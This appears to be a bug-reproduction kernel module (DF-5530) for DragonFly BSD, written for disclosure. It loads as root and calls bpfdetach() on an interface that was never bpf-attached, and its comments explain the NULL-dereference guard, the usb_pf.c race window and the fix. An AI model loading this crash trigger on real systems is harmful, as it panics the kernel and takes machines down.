DF-5530 / bpfdetach_null.c
/* * DF-5530 โ deterministic sink proof for the bpfdetach() NULL-deref. * * sys/net/bpf.c:1567-1574 โ the bpf_if search loop can legitimately exit * with bp == NULL (interface never bpf-attach'ed, or already de-attached), * and the "Interface wasn't attached" guard then dereferences bp->bif_ifp * on the NULL pointer: * * for (bp = bpf_iflist; bp != NULL; bp = bp->bif_next) { * if (ifp == bp->bif_ifp) * break; * bp_prev = bp; * } * if (bp->bif_ifp == NULL) { <-- must be (bp == NULL) * * Reachable from sys/bus/u4b/usb_pf.c: usbpf_clone_destroy() (usb_pf.c:192) * calls bpfdetach(ifp) on an ifnet that usbpf_clone_create() published at * usb_pf.c:157 (ubus->ifp = if_alloc(IFT_USB)) *before* bpfattach() at * usb_pf.c:177. usbpf_detach() (usb_pf.c:209-210, called from controller * detach, usb_controller.c:240) and usbpf_uninit() (usb_pf.c:114-118) call * the destroy path with no lock synchronizing them against the create path, * so a destroy that wins the 157->177 window hands bpfdetach() an ifnet * that is not in bpf_iflist -> bp == NULL -> fatal page fault. * * This module reproduces exactly that state: a freshly allocated IFT_USB * ifnet, named like the clone would name it, that has not been * bpf-attach'ed yet โ then invokes the production bpfdetach() on it. * * Build: see build.sh (KLD, needs /usr/src/sys). * Run: kldload ./bpfdetach_null.ko (as root) * Expected on a vulnerable kernel: * Fatal trap 12: page fault while in kernel mode, faultvaddr == small * (offsetof(struct bpf_if, bif_ifp)), RIP in bpfdetach (bpf.c:1574). * Expected on a patched kernel (fix: `if (bp == NULL)`): * kprintf "bpfdetach: usbus0 was not attached", no panic, module loads. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/bus.h> #include <net/if.h> #include <net/if_var.h> #include <net/if_types.h> #include <net/bpf.h> static int bpfdetach_null_load(struct module *m, int what, void *arg) { struct ifnet *ifp; switch (what) { case MOD_LOAD: /* state == usbpf_clone_create() between usb_pf.c:157 and :177 */ ifp = if_alloc(IFT_USB); if (ifp == NULL) { kprintf("DF5530: if_alloc failed\n"); return (ENOSPC); } ksnprintf(ifp->if_xname, sizeof(ifp->if_xname), "usbus0"); kprintf("DF5530: calling bpfdetach() on not-bpf-attached %s " "(simulating usbpf_clone_destroy() winning the " "usb_pf.c:157->177 window)\n", ifp->if_xname); bpfdetach(ifp); /* <- panics at bpf.c:1574 */ kprintf("DF5530: bpfdetach() returned (not reached on " "vulnerable kernel)\n"); if_free(ifp); break; case MOD_UNLOAD: kprintf("DF5530: unloaded\n"); break; default: break; } return (0); } static moduledata_t bpfdetach_null_mod = { "bpfdetach_null", bpfdetach_null_load, NULL }; DECLARE_MODULE(bpfdetach_null, bpfdetach_null_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(bpfdetach_null, 1); |